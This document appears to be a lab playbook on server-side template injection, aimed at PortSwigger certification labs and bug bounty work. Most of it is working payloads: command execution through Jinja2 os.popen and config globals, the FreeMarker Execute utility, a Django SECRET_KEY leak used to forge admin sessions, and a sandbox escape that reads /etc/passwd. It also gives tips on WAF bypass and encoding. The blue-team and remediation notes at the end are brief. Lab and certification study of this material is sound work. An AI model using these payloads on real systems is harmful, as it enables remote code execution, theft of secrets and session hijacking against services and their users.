akashrpatil Server-Side Template Injection — Complete Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques
Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: Basic SSTI 🟡 PRACTITIONER
{{7*7}}
If output = 49 → template injection confirmed. Identify engine:
{{7*'7'}}→7777777= Jinja2/Twig{{7*'7'}}→49= Twig${7*7}→ FreeMarker<%= 7*7 %>→ ERB (Ruby)
Lab 2: Basic SSTI code context 🟡 PRACTITIONER
blog-post-author-display=user.name}}{%import+os%}{{os.popen('whoami').read()}}
Break out of expression context, import os module, execute command.
Lab 3: SSTI using documentation 🟡 PRACTITIONER
Read the template engine docs to find dangerous methods:
- Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}} - FreeMarker:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Lab 4: Unknown language documented exploit 🟡 PRACTITIONER
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{this}}
{{/with}}
{{/with}}
Identify as Handlebars, then use documented RCE gadget.
Lab 5: Info disclosure via user objects 🟡 PRACTITIONER
{{settings.SECRET_KEY}}
Django: access settings object → extract SECRET_KEY → forge session cookie → admin access.
Lab 6: Sandboxed environment 🔴 EXPERT
Bypass Jinja2 sandbox:
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
Walk the MRO chain to find file class or subprocess.Popen.
Lab 7: Custom exploit 🔴 EXPERT
Requires building a custom gadget chain. Analyze available objects via {{self.__class__.__mro__}} and find a path to code execution through the object graph.
Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
Zero-Day Research
When standard technique fails:
- Identify the filter/WAF
- Fuzz with Burp Intruder custom wordlists
- Search GitHub/Twitter for new bypasses
- Chain with other vulns for escalation
- Try encoding variants: URL, double-URL, unicode, hex
Key Concepts
| Concept | Description |
|---|---|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |
Output Format
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
🛡️ Remediation & Mitigation Strategy
- Input Validation: Sanitize and strictly type-check all inputs.
- Least Privilege: Constrain component execution bounds.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class